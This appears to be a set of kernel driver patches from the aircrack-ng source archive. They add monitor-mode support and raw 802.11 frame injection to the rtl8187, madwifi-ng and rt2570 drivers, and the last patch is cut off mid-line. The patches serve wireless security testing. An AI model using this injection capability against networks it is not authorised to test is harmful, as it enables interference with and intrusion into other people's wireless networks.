ieee->current_network.channel = fwrq->m; ieee->set_chan(ieee->dev, ieee->current_network.channel); - + if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) if(ieee->state == IEEE80211_LINKED){ - - ieee80211_stop_send_beacons(ieee); - ieee80211_start_send_beacons(ieee); + + ieee80211_stop_send_beacons_rtl7(ieee); + ieee80211_start_send_beacons_rtl7(ieee); } } @@ -80,7 +80,7 @@ } -int ieee80211_wx_get_freq(struct ieee80211_device *ieee, +int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -88,110 +88,110 @@ if (ieee->current_network.channel == 0) return -1; - + fwrq->m = ieee->current_network.channel; fwrq->e = 0; - + return 0; } -int ieee80211_wx_get_wap(struct ieee80211_device *ieee, - struct iw_request_info *info, +int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - unsigned long flags; - + unsigned long flags; + wrqu->ap_addr.sa_family = ARPHRD_ETHER; - + if (ieee->iw_mode == IW_MODE_MONITOR) return -1; - + /* We want avoid to give to the user inconsistent infos*/ spin_lock_irqsave(&ieee->lock, flags); - - if (ieee->state != IEEE80211_LINKED && + + if (ieee->state != IEEE80211_LINKED && ieee->state != IEEE80211_LINKED_SCANNING && ieee->wap_set == 0) - + memset(wrqu->ap_addr.sa_data, 0, ETH_ALEN); else - memcpy(wrqu->ap_addr.sa_data, + memcpy(wrqu->ap_addr.sa_data, ieee->current_network.bssid, ETH_ALEN); - + spin_unlock_irqrestore(&ieee->lock, flags); - + return 0; } -int ieee80211_wx_set_wap(struct ieee80211_device *ieee, +int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra) { - + int ret = 0; u8 zero[] = {0,0,0,0,0,0}; unsigned long flags; - + + struct sockaddr *temp = NULL; short ifup = ieee->proto_started;//dev->flags & IFF_UP; - + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - - struct sockaddr *temp = (struct sockaddr *)awrq; - + + temp = (struct sockaddr *)awrq; /* use ifconfig hw ether */ if (ieee->iw_mode == IW_MODE_MASTER){ ret = -1; goto out; } - + if (temp->sa_family != ARPHRD_ETHER){ ret = -EINVAL; goto out; } - + if (ifup) - ieee80211_stop_protocol(ieee); - + ieee80211_stop_protocol_rtl7(ieee); + /* just to avoid to give inconsistent infos in the - * get wx method. not really needed otherwise + * get wx method. not really needed otherwise */ spin_lock_irqsave(&ieee->lock, flags); - - memcpy(ieee->current_network.bssid, temp->sa_data, ETH_ALEN); + + memcpy(ieee->current_network.bssid, temp->sa_data, ETH_ALEN); ieee->wap_set = memcmp(temp->sa_data, zero,ETH_ALEN)!=0; - + spin_unlock_irqrestore(&ieee->lock, flags); - + if (ifup) - ieee80211_start_protocol(ieee); - + ieee80211_start_protocol_rtl7(ieee); + out: up(&ieee->wx_sem); return ret; } - - int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b) + + int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b) { int len,ret = 0; unsigned long flags; - + if (ieee->iw_mode == IW_MODE_MONITOR) return -1; - - /* We want avoid to give to the user inconsistent infos*/ + + /* We want avoid to give to the user inconsistent infos*/ spin_lock_irqsave(&ieee->lock, flags); - + if (ieee->current_network.ssid[0] == '\0' || - ieee->current_network.ssid_len == 0){ + ieee->current_network.ssid_len == 0){ ret = -1; goto out; } - - if (ieee->state != IEEE80211_LINKED && + + if (ieee->state != IEEE80211_LINKED && ieee->state != IEEE80211_LINKED_SCANNING && ieee->ssid_set == 0){ ret = -1; @@ -204,59 +204,76 @@ out: spin_unlock_irqrestore(&ieee->lock, flags); - + return ret; - + } -int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { u32 target_rate = wrqu->bitrate.value; - + ieee->rate = target_rate/100000; //FIXME: we might want to limit rate also in management protocols. - return 0; + return 0; } -int ieee80211_wx_get_rate(struct ieee80211_device *ieee, - struct iw_request_info *info, +int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - + wrqu->bitrate.value = ieee->rate * 100000; - + return 0; } -int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - + short prev = ieee->raw_tx; + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - + if (wrqu->mode == ieee->iw_mode) goto out; - + if (wrqu->mode == IW_MODE_MONITOR){ - - ieee->dev->type = ARPHRD_IEEE80211; + ieee->dev->type = ARPHRD_IEEE80211_PRISM; }else{ ieee->dev->type = ARPHRD_ETHER; } - + if (!ieee->proto_started){ ieee->iw_mode = wrqu->mode; }else{ - ieee80211_stop_protocol(ieee); + ieee80211_stop_protocol_rtl7(ieee); ieee->iw_mode = wrqu->mode; - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); + } + + if(ieee->iw_mode == IW_MODE_MONITOR) + { + ieee->raw_tx = 1; + if(prev == 0 && ieee->raw_tx){ + if (ieee->data_hard_resume) + ieee->data_hard_resume(ieee->dev); + + netif_carrier_on(ieee->dev); + } + + netif_carrier_on(ieee->dev); + } + else + { + ieee->raw_tx = 0; } out: @@ -264,120 +281,132 @@ return 0; } -void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work) { + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, wx_sync_scan_wq); +#else +void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif short chan; chan = ieee->current_network.channel; - + netif_carrier_off(ieee->dev); - + if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - - ieee80211_stop_send_beacons(ieee); - + + ieee80211_stop_send_beacons_rtl7(ieee); + ieee->state = IEEE80211_LINKED_SCANNING; ieee->link_change(ieee->dev); - - ieee80211_start_scan_syncro(ieee); - + + ieee80211_start_scan_syncro_rtl7(ieee); + ieee->set_chan(ieee->dev, chan); - + ieee->state = IEEE80211_LINKED; ieee->link_change(ieee->dev); - + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) - ieee80211_start_send_beacons(ieee); - + ieee80211_start_send_beacons_rtl7(ieee); + netif_carrier_on(ieee->dev); - + up(&ieee->wx_sem); - + } -int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret = 0; - + down(&ieee->wx_sem); - - if (ieee->iw_mode == IW_MODE_MONITOR || !(ieee->proto_started)){ + + if (ieee->iw_mode == IW_MODE_MONITOR || !(ieee->proto_started)){ ret = -1; goto out; } - + if ( ieee->state == IEEE80211_LINKED){ queue_work(ieee->wq, &ieee->wx_sync_scan_wq); /* intentionally forget to up sem */ return 0; } - + out: up(&ieee->wx_sem); return ret; } -int ieee80211_wx_set_essid(struct ieee80211_device *ieee, +int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra) { - + int ret=0,len; short proto_started; unsigned long flags; - + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - + proto_started = ieee->proto_started; - + if (wrqu->essid.length > IW_ESSID_MAX_SIZE){ ret= -E2BIG; goto out; } - + if (ieee->iw_mode == IW_MODE_MONITOR){ ret= -1; goto out; } - + if(proto_started) - ieee80211_stop_protocol(ieee); - + ieee80211_stop_protocol_rtl7(ieee); + /* this is just to be sure that the GET wx callback * has consisten infos. not needed otherwise */ spin_lock_irqsave(&ieee->lock, flags); - + if (wrqu->essid.flags && wrqu->essid.length) { +#if WIRELESS_EXT > 20 + len = min((int)wrqu->essid.length, IW_ESSID_MAX_SIZE); +#else len = ((wrqu->essid.length-1) < IW_ESSID_MAX_SIZE) ? (wrqu->essid.length-1) : IW_ESSID_MAX_SIZE; - +#endif + strncpy(ieee->current_network.ssid, extra, len); ieee->current_network.ssid_len = len; ieee->ssid_set = 1; } - else{ + else{ ieee->ssid_set = 0; ieee->current_network.ssid[0] = '\0'; ieee->current_network.ssid_len = 0; } - + spin_unlock_irqrestore(&ieee->lock, flags); - + if (proto_started) - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); out: up(&ieee->wx_sem); + + return ret; } - int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -385,23 +414,23 @@ return 0; } - int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, - struct iw_request_info *info, + int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - + int *parms = (int *)extra; int enable = (parms[0] > 0); short prev = ieee->raw_tx; down(&ieee->wx_sem); - - if(enable) + + if(enable) ieee->raw_tx = 1; - else + else ieee->raw_tx = 0; - printk(KERN_INFO"raw TX is %s\n", + printk(KERN_INFO"raw TX is %s\n", ieee->raw_tx ? "enabled" : "disabled"); if(ieee->iw_mode == IW_MODE_MONITOR) @@ -409,21 +438,21 @@ if(prev == 0 && ieee->raw_tx){ if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - - netif_carrier_on(ieee->dev); + + netif_carrier_on(ieee->dev); } - + if(prev && ieee->raw_tx == 1) - netif_carrier_off(ieee->dev); + netif_carrier_off(ieee->dev); } - + up(&ieee->wx_sem); - + return 0; } - -int ieee80211_wx_get_name(struct ieee80211_device *ieee, - struct iw_request_info *info, + +int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { strcpy(wrqu->name, "802.11"); @@ -433,20 +462,20 @@ strcat(wrqu->name, "/g"); }else if(ieee->modulation & IEEE80211_OFDM_MODULATION) strcat(wrqu->name, "g"); - - if((ieee->state == IEEE80211_LINKED) || + + if((ieee->state == IEEE80211_LINKED) || (ieee->state == IEEE80211_LINKED_SCANNING)) strcat(wrqu->name," linked"); else if(ieee->state != IEEE80211_NOLINK) strcat(wrqu->name," link.."); - - + + return 0; } /* this is mostly stolen from hostap */ -int ieee80211_wx_set_power(struct ieee80211_device *ieee, +int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -457,50 +486,50 @@ (!ieee->ps_request_tx_ack) || (!ieee->enter_sleep_state) || (!ieee->ps_is_queue_empty)){ - + printk("ERROR. PS mode is tryied to be use but\ -driver missed a callback\n\n"); - +driver missed a callback\n\n"); + return -1; } - + down(&ieee->wx_sem); - + if (wrqu->power.disabled){ ieee->ps = IEEE80211_PS_DISABLED; - + goto exit; } switch (wrqu->power.flags & IW_POWER_MODE) { case IW_POWER_UNICAST_R: ieee->ps = IEEE80211_PS_UNICAST; - + break; case IW_POWER_ALL_R: - ieee->ps = IEEE80211_PS_UNICAST | IEEE80211_PS_MBCAST; + ieee->ps = IEEE80211_PS_UNICAST | IEEE80211_PS_MBCAST; break; - + case IW_POWER_ON: ieee->ps = IEEE80211_PS_DISABLED; break; - + default: ret = -EINVAL; goto exit; } if (wrqu->power.flags & IW_POWER_TIMEOUT) { - + ieee->ps_timeout = wrqu->power.value / 1000; printk("Timeout %d\n",ieee->ps_timeout); } - + if (wrqu->power.flags & IW_POWER_PERIOD) { - + ret = -EOPNOTSUPP; goto exit; //wrq->value / 1024; - + } exit: up(&ieee->wx_sem); @@ -509,15 +538,15 @@ } /* this is stolen from hostap */ -int ieee80211_wx_get_power(struct ieee80211_device *ieee, +int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { int ret =0; - + down(&ieee->wx_sem); - - if(ieee->ps == IEEE80211_PS_DISABLED){ + + if(ieee->ps == IEEE80211_PS_DISABLED){ wrqu->power.disabled = 1; goto exit; } @@ -547,19 +576,19 @@ } -EXPORT_SYMBOL(ieee80211_wx_get_essid); -EXPORT_SYMBOL(ieee80211_wx_set_essid); -EXPORT_SYMBOL(ieee80211_wx_set_rate); -EXPORT_SYMBOL(ieee80211_wx_get_rate); -EXPORT_SYMBOL(ieee80211_wx_set_wap); -EXPORT_SYMBOL(ieee80211_wx_get_wap); -EXPORT_SYMBOL(ieee80211_wx_set_mode); -EXPORT_SYMBOL(ieee80211_wx_get_mode); -EXPORT_SYMBOL(ieee80211_wx_set_scan); -EXPORT_SYMBOL(ieee80211_wx_get_freq); -EXPORT_SYMBOL(ieee80211_wx_set_freq); -EXPORT_SYMBOL(ieee80211_wx_set_rawtx); -EXPORT_SYMBOL(ieee80211_wx_get_name); -EXPORT_SYMBOL(ieee80211_wx_set_power); -EXPORT_SYMBOL(ieee80211_wx_get_power); -EXPORT_SYMBOL(ieee80211_wlan_frequencies); +EXPORT_SYMBOL(ieee80211_wx_get_essid_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_essid_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_rate_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_rate_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_wap_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_wap_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_mode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_mode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_scan_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_freq_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_freq_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_rawtx_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_name_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_power_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_power_rtl7); +EXPORT_SYMBOL(ieee80211_wlan_frequencies_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_tx.c rtl8187_txpower/ieee80211/ieee80211_tx.c --- rtl8187_orig/ieee80211/ieee80211_tx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_txpower/ieee80211/ieee80211_tx.c 2007-04-23 00:09:00.000000000 +0200 @@ -32,7 +32,6 @@ ******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" @@ -155,7 +160,7 @@ static u8 P802_1H_OUI[P80211_OUI_LEN] = { 0x00, 0x00, 0xf8 }; static u8 RFC1042_OUI[P80211_OUI_LEN] = { 0x00, 0x00, 0x00 }; -static inline int ieee80211_put_snap(u8 *data, u16 h_proto) +static inline int ieee80211_put_snap_rtl7(u8 *data, u16 h_proto) { struct ieee80211_snap_hdr *snap; u8 *oui; @@ -178,7 +183,7 @@ return SNAP_SIZE + sizeof(u16); } -int ieee80211_encrypt_fragment( +int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len) @@ -225,7 +230,7 @@ } -void ieee80211_txb_free(struct ieee80211_txb *txb) { +void ieee80211_txb_free_rtl7(struct ieee80211_txb *txb) { int i; if (unlikely(!txb)) return; @@ -235,7 +240,7 @@ kfree(txb); } -struct ieee80211_txb *ieee80211_alloc_txb(int nr_frags, int txb_size, +struct ieee80211_txb *ieee80211_alloc_txb_rtl7(int nr_frags, int txb_size, int gfp_mask) { struct ieee80211_txb *txb; @@ -267,7 +272,7 @@ } /* SKBs are added to the ieee->tx_queue. */ -int ieee80211_xmit(struct sk_buff *skb, +int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev) { struct ieee80211_device *ieee = netdev_priv(dev); @@ -397,7 +402,7 @@ /* When we allocate the TXB we allocate enough space for the reserve * and full fragment bytes (bytes_per_frag doesn't include prefix, * postfix, header, FCS, etc.) */ - txb = ieee80211_alloc_txb(nr_frags, frag_size, GFP_ATOMIC); + txb = ieee80211_alloc_txb_rtl7(nr_frags, frag_size, GFP_ATOMIC); if (unlikely(!txb)) { printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); @@ -432,7 +437,7 @@ /* Put a SNAP header on the first fragment */ if (i == 0) { - ieee80211_put_snap( + ieee80211_put_snap_rtl7( skb_put(skb_frag, SNAP_SIZE + sizeof(u16)), ether_type); bytes -= SNAP_SIZE + sizeof(u16); @@ -446,7 +451,7 @@ /* Encryption routine will move the header forward in order * to insert the IV between the header and the payload */ if (encrypt) - ieee80211_encrypt_fragment(ieee, skb_frag, hdr_len); + ieee80211_encrypt_fragment_rtl7(ieee, skb_frag, hdr_len); if (ieee->config & (CFG_IEEE80211_COMPUTE_FCS | CFG_IEEE80211_RESERVE_FCS)) skb_put(skb_frag, 4); @@ -458,13 +463,14 @@ ieee->seq_ctrl++; //--- }else{ - if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { +// if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { + if (unlikely(skb->len < 14)) { printk(KERN_WARNING "%s: skb too small (%d).\n", ieee->dev->name, skb->len); goto success; } - txb = ieee80211_alloc_txb(1, skb->len, GFP_ATOMIC); + txb = ieee80211_alloc_txb_rtl7(1, skb->len, GFP_ATOMIC); if(!txb){ printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); @@ -481,14 +487,14 @@ dev_kfree_skb_any(skb); if (txb) { if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE){ - ieee80211_softmac_xmit(txb, ieee); + ieee80211_softmac_xmit_rtl7(txb, ieee); }else{ if ((*ieee->hard_start_xmit)(txb, dev) == 0) { stats->tx_packets++; stats->tx_bytes += txb->payload_size; return 0; } - ieee80211_txb_free(txb); + ieee80211_txb_free_rtl7(txb); } @@ -504,4 +510,4 @@ } -EXPORT_SYMBOL(ieee80211_txb_free); +EXPORT_SYMBOL(ieee80211_txb_free_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_wx.c rtl8187_txpower/ieee80211/ieee80211_wx.c --- rtl8187_orig/ieee80211/ieee80211_wx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_txpower/ieee80211/ieee80211_wx.c 2007-04-23 00:09:00.000000000 +0200 @@ -40,7 +40,7 @@ }; #define MAX_CUSTOM_LEN 64 -static inline char *ipw2100_translate_scan(struct ieee80211_device *ieee, +static inline char *ipw2100_translate_scan_rtl7(struct ieee80211_device *ieee, char *start, char *stop, struct ieee80211_network *network) { @@ -207,7 +207,7 @@ return start; } -int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -220,13 +220,14 @@ IEEE80211_DEBUG_WX("Getting scan\n"); down(&ieee->wx_sem); + printk("GOT WX GET SCAN WX_SEM LOCK"); spin_lock_irqsave(&ieee->lock, flags); list_for_each_entry(network, &ieee->network_list, list) { i++; if (ieee->scan_age == 0 || time_after(network->last_scanned + ieee->scan_age, jiffies)) - ev = ipw2100_translate_scan(ieee, ev, stop, network); + ev = ipw2100_translate_scan_rtl7(ieee, ev, stop, network); else IEEE80211_DEBUG_SCAN( "Not showing network '%s (" @@ -247,7 +248,7 @@ return 0; } -int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *keybuf) { @@ -281,7 +282,7 @@ if (key_provided && *crypt) { IEEE80211_DEBUG_WX("Disabling encryption on key %d.\n", key); - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } else IEEE80211_DEBUG_WX("Disabling encryption.\n"); @@ -291,7 +292,7 @@ if (ieee->crypt[i] != NULL) { if (key_provided) break; - ieee80211_crypt_delayed_deinit( + ieee80211_crypt_delayed_deinit_rtl7( ieee, &ieee->crypt[i]); } } @@ -314,7 +315,7 @@ strcmp((*crypt)->ops->name, "WEP") != 0) { /* changing to use WEP; deinit previously used algorithm * on this key */ - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } if (*crypt == NULL) { @@ -326,10 +327,10 @@ if (new_crypt == NULL) return -ENOMEM; memset(new_crypt, 0, sizeof(struct ieee80211_crypt_data)); - new_crypt->ops = ieee80211_get_crypto_ops("WEP"); + new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP"); if (!new_crypt->ops) { request_module("ieee80211_crypt_wep"); - new_crypt->ops = ieee80211_get_crypto_ops("WEP"); + new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP"); } if (new_crypt->ops && try_module_get(new_crypt->ops->owner)) @@ -418,7 +419,7 @@ return 0; } -int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *keybuf) { @@ -470,6 +471,6 @@ } -EXPORT_SYMBOL(ieee80211_wx_get_scan); -EXPORT_SYMBOL(ieee80211_wx_set_encode); -EXPORT_SYMBOL(ieee80211_wx_get_encode); +EXPORT_SYMBOL(ieee80211_wx_get_scan_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_encode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_encode_rtl7); aircrack-ng-1.2-rc4/patches/old/madwifi-ng-r1713.patch0000644000000000000000000000174710761053203020752 0ustar rootrootdiff -ur madwifi-r1713/ath/if_ath.c madwifi-r1713-patched/ath/if_ath.c --- madwifi-r1713/ath/if_ath.c 2006-09-15 20:16:39.328125000 +0200 +++ madwifi-r1713-patched/ath/if_ath.c 2006-09-16 00:47:55.140625000 +0200 @@ -2253,6 +2253,7 @@ ath_tx_startraw(struct net_device *dev, struct ath_buf *bf, struct sk_buff *skb) { struct ath_softc *sc = dev->priv; + struct ieee80211com *ic = &sc->sc_ic; struct ath_hal *ah = sc->sc_ah; struct ieee80211_phy_params *ph = (struct ieee80211_phy_params *) (skb->cb + sizeof(struct ieee80211_cb)); const HAL_RATE_TABLE *rt; @@ -2269,7 +2270,11 @@ struct ieee80211_frame *wh; wh = (struct ieee80211_frame *) skb->data; - try0 = ph->try0; + try0 = (ic->ic_opmode == IEEE80211_M_MONITOR) ? 1 : ph->try0; + /* + * The retry value has to be patched to 1 when injecting, + * otherwise the sequence number will be overwritten + */ rt = sc->sc_currates; txrate = dot11_to_ratecode(sc, rt, ph->rate0); power = ph->power > 60 ? 60 : ph->power; aircrack-ng-1.2-rc4/patches/old/rt2570-cvs-20050824.patch0000644000000000000000000001113010761053203020576 0ustar rootrootdiff -ur ../rt2570-cvs-20050824/Module/mlme.c ./Module/mlme.c --- ../rt2570-cvs-20050824/Module/mlme.c 2005-08-17 11:00:39.000000000 +0200 +++ ./Module/mlme.c 2005-08-24 11:53:01.000000000 +0200 @@ -1690,7 +1690,7 @@ } else { - pAd->PortCfg.TxRate = min((INT)(pAd->PortCfg.MaxTxRate), RATE_11); + pAd->PortCfg.TxRate = min((INT)(pAd->PortCfg.MaxTxRate), RATE_5_5); } } } diff -ur ../rt2570-cvs-20050824/Module/rtusb_bulk.c ./Module/rtusb_bulk.c --- ../rt2570-cvs-20050824/Module/rtusb_bulk.c 2005-07-19 10:20:46.000000000 +0200 +++ ./Module/rtusb_bulk.c 2005-08-24 15:40:14.000000000 +0200 @@ -107,7 +107,8 @@ NdisReleaseSpinLock(&pAdapter->BulkOutLock); return; } - else if (pAdapter->MediaState == NdisMediaStateDisconnected) + else if (pAdapter->MediaState == NdisMediaStateDisconnected && + pAdapter->PortCfg.BssType != BSS_MONITOR) { // // Since there is no connection, so we need to empty the Tx Bulk out Ring. diff -ur ../rt2570-cvs-20050824/Module/rtusb_data.c ./Module/rtusb_data.c --- ../rt2570-cvs-20050824/Module/rtusb_data.c 2005-08-17 11:00:39.000000000 +0200 +++ ./Module/rtusb_data.c 2005-08-24 15:37:06.000000000 +0200 @@ -84,7 +84,8 @@ return 0; } // Drop packets if no associations - else if (!INFRA_ON(pAdapter) && !ADHOC_ON(pAdapter)) + else if (!INFRA_ON(pAdapter) && !ADHOC_ON(pAdapter) && + pAdapter->PortCfg.BssType != BSS_MONITOR) { RTUSBFreeSkbBuffer(skb); return 0; @@ -141,6 +142,14 @@ Priority = 0; AccessCategory = 0; + if (skb && pAdapter->PortCfg.BssType == BSS_MONITOR) + { + NdisAcquireSpinLock(&pAdapter->SendTxWaitQueueLock); + skb_queue_tail(&pAdapter->SendTxWaitQueue, skb); + NdisReleaseSpinLock(&pAdapter->SendTxWaitQueueLock); + return (NDIS_STATUS_SUCCESS); + } + if (skb) { Priority = skb->priority; @@ -806,6 +815,36 @@ DBGPRINT(RT_DEBUG_ERROR, "Error, Null skb data buffer!!!\n"); return (NDIS_STATUS_FAILURE); } + + if (pAdapter->PortCfg.BssType == BSS_MONITOR) + { + pTxContext = &pAdapter->TxContext[pAdapter->NextTxIndex]; + pTxContext->InUse = TRUE; + pTxContext->LastOne = TRUE; + + pAdapter->NextTxIndex++; + if (pAdapter->NextTxIndex >= TX_RING_SIZE) + pAdapter->NextTxIndex = 0; + + pTxD = &(pTxContext->TransferBuffer->TxDesc); + memset(pTxD, 0, sizeof(TXD_STRUC)); + pDest = pTxContext->TransferBuffer->WirelessPacket; + + memcpy( pDest, skb->data, skb->len ); + + RTUSBWriteTxDescriptor(pTxD, FALSE, 0, FALSE, FALSE, TRUE, IFS_BACKOFF, skb->len, FALSE, 0, CW_MIN_IN_BITS, CW_MAX_IN_BITS, skb->len + 4, pAdapter->PortCfg.TxRate, 4, pAdapter->PortCfg.TxPreambleInUsed); + + TransferBufferLength = skb->len + sizeof(TXD_STRUC); + if ((TransferBufferLength % 2) == 1) + TransferBufferLength++; + + pTxContext->BulkOutSize = TransferBufferLength; + atomic_inc(&pAdapter->TxCount); + RTUSB_SET_BULK_FLAG(pAdapter, fRTUSB_BULK_OUT_DATA_FRAG); + RTUSBFreeSkbBuffer(skb); + return (NDIS_STATUS_SUCCESS); + } + if (NdisBufferLength < 14) { DBGPRINT_RAW(RT_DEBUG_ERROR, "RTUSBHardEncrypt --> Ndis Packet buffer error !!!\n"); diff -ur ../rt2570-cvs-20050824/Module/rtusb_info.c ./Module/rtusb_info.c --- ../rt2570-cvs-20050824/Module/rtusb_info.c 2005-08-17 11:00:39.000000000 +0200 +++ ./Module/rtusb_info.c 2005-08-24 12:11:05.000000000 +0200 @@ -200,6 +200,12 @@ pAdapter->PortCfg.IbssConfig.Channel = chan; DBGPRINT(RT_DEBUG_ERROR, "<==SIOCSIWFREQ[cmd=0x%x] (Channel=%d)\n", SIOCSIWFREQ, pAdapter->PortCfg.IbssConfig.Channel); + if (pAdapter->PortCfg.BssType == BSS_MONITOR) + { + pAdapter->PortCfg.Channel = pAdapter->PortCfg.IbssConfig.Channel; + AsicSwitchChannel(pAdapter, pAdapter->PortCfg.Channel); + AsicLockChannel(pAdapter, pAdapter->PortCfg.Channel); + } return 0; } @@ -288,10 +294,15 @@ __u32 *mode, char *extra) { PRT2570ADAPTER pAdapter = (PRT2570ADAPTER) dev->priv; - if (ADHOC_ON(pAdapter)) - *mode = IW_MODE_ADHOC; + if (pAdapter->PortCfg.BssType == BSS_MONITOR) + *mode = IW_MODE_MONITOR; else - *mode = IW_MODE_INFRA; + { + if (ADHOC_ON(pAdapter)) + *mode = IW_MODE_ADHOC; + else + *mode = IW_MODE_INFRA; + } DBGPRINT(RT_DEBUG_TEMP,"--->rtusb_ioctl_giwmode\n"); return 0; } diff -ur ../rt2570-cvs-20050824/Module/sync.c ./Module/sync.c --- ../rt2570-cvs-20050824/Module/sync.c 2005-07-27 17:54:29.000000000 +0200 +++ ./Module/sync.c 2005-08-24 14:31:58.000000000 +0200 @@ -203,6 +203,9 @@ UCHAR Ssid[MAX_LEN_OF_SSID], SsidLen, ScanType, BssType; ULONG Now; + if (pAd->PortCfg.BssType == BSS_MONITOR) + return; + DBGPRINT(RT_DEBUG_INFO, "SYNC - MlmeScanReqAction\n"); #if 0 // Check the total scan tries for one single OID command aircrack-ng-1.2-rc4/patches/old/madwifi-ng-r3386v3.patch0000644000000000000000000000250511134713404021225 0ustar rootroot--- madwifi-ng/ath/if_ath.c 2008-03-16 20:26:53.000000000 -0400 +++ madwifi-ng_raw/ath/if_ath.c 2008-03-17 20:11:30.000000000 -0400 @@ -2875,6 +2875,7 @@ ath_tx_startraw(struct net_device *dev, struct ath_buf *bf, struct sk_buff *skb) { struct ath_softc *sc = dev->priv; + struct ieee80211com *ic = &sc->sc_ic; struct ath_hal *ah = sc->sc_ah; struct ieee80211_phy_params *ph = (struct ieee80211_phy_params *) (SKB_CB(skb) + 1); /* NB: SKB_CB casts to CB struct*. */ @@ -2888,7 +2889,12 @@ struct ieee80211_frame *wh; wh = (struct ieee80211_frame *)skb->data; - try0 = ph->try0; +// try0 